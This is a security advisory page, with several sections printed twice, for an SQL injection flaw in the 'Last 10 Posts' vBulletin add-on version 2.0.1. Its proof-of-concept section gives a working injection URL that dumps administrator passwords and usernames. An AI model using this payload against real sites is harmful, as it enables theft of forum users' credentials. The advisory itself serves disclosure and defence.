Last 10 Posts Add-On Script For VBulletin SQL Injection Vulnerability
BID:11825
Info
Last 10 Posts Add-On Script For VBulletin SQL Injection Vulnerability
| Bugtraq ID: | 11825 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 06 2004 12:00AM |
| Updated: | Dec 06 2004 12:00AM |
| Credit: | Discovery of this vulnerability is credited to "DokFLeed" <[email protected]>. |
| Vulnerable: |
Last 10 Posts Last 10 Posts 2.0.1 |
| Not Vulnerable: | |
Discussion
Last 10 Posts Add-On Script For VBulletin SQL Injection Vulnerability
It is reported that the "Last 10 Posts" script for vBulletin is susceptible to an SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to utilizing it in an SQL query.
An attacker can exploit this issue to manipulate and inject SQL queries into the underlying database. It may be possible to leverage this issue to steal database contents including user credentials as well as to attack the underlying database.
Version 2.0.1 is reported susceptible to this vulnerability. Other versions may also be affected.
It is reported that the "Last 10 Posts" script for vBulletin is susceptible to an SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to utilizing it in an SQL query.
An attacker can exploit this issue to manipulate and inject SQL queries into the underlying database. It may be possible to leverage this issue to steal database contents including user credentials as well as to attack the underlying database.
Version 2.0.1 is reported susceptible to this vulnerability. Other versions may also be affected.
Exploit / POC
Last 10 Posts Add-On Script For VBulletin SQL Injection Vulnerability
The following proof of concept is available:
#/last.php?fsel=,user.password%20as%20title,user.%20%20username%20as%20lastposter%20FROM%20user,thread%20%20%20WHERE%20usergroupid=1%20LIMIT%201/*
The following proof of concept is available:
#/last.php?fsel=,user.password%20as%20title,user.%20%20username%20as%20lastposter%20FROM%20user,thread%20%20%20WHERE%20usergroupid=1%20LIMIT%201/*
Solution / Fix
Last 10 Posts Add-On Script For VBulletin SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Last 10 Posts Add-On Script For VBulletin SQL Injection Vulnerability
References:
References: